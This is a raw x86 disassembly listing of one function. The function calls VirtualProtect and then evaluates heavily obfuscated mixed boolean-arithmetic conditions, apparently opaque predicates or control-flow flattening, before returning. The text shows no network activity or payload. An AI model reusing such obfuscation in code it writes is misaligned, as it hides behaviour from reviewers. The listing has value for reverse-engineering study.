jmp 0x402780
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
mov eax, 0xa8d1586c
jmp 0x402780
push dword [ebp - 0x28]
push dword [ebp - 0xdc]
push dword [ebp - 0xd8]
push ecx
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xf07b1dce
and eax, 0x9a82e69f
mov esi, ecx
and esi, 0xf84e230
or edx, esi
mov esi, edx
xor esi, 0x8029058e
xor edx, 0xd84c011
and edx, 0x7dd6d851
and esi, 0x822927ae
or esi, edx
mov edx, ecx
or edx, 0x7dd6d850
and ecx, 0x657d1960
and edx, 0x7dd6d851
or eax, ecx
mov ecx, eax
xor edx, esi
xor ecx, 0x9a82e69f
xor eax, 0x657d1960
mov esi, 0x50abaede
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
xor edx, eax
test edx, eax
setne ah
sete dh
cmp dword [0x497380], 0xa
mov ch, ah
setge cl
setl dl
xor ch, cl
mov ebx, ecx
and dl, ah
mov al, ch
or bl, dh
and al, dh
and dh, cl
or cl, ah
xor al, 1
xor cl, 1
or dl, dh
mov bh, al
or al, bl
or cl, ch
xor bh, bl
xor al, 1
xor cl, 1
or al, bh
or cl, dl
mov ah, al
mov ch, cl
xor ah, 1
and ch, al
mov dl, ah
xor ah, cl
xor cl, 1
and dl, cl
or cl, al
xor cl, 1
or dl, ch
or cl, ah
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x8aec11c0
cmovne ecx, esi
test dl, 1
cmove ecx, esi
test al, 1
mov eax, 0x8aec11c0
jmp 0x402777
cmp eax, 0x5d38ab47
jne 0x402780
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x1c]
mov esi, dword [eax]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.00435fc0
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret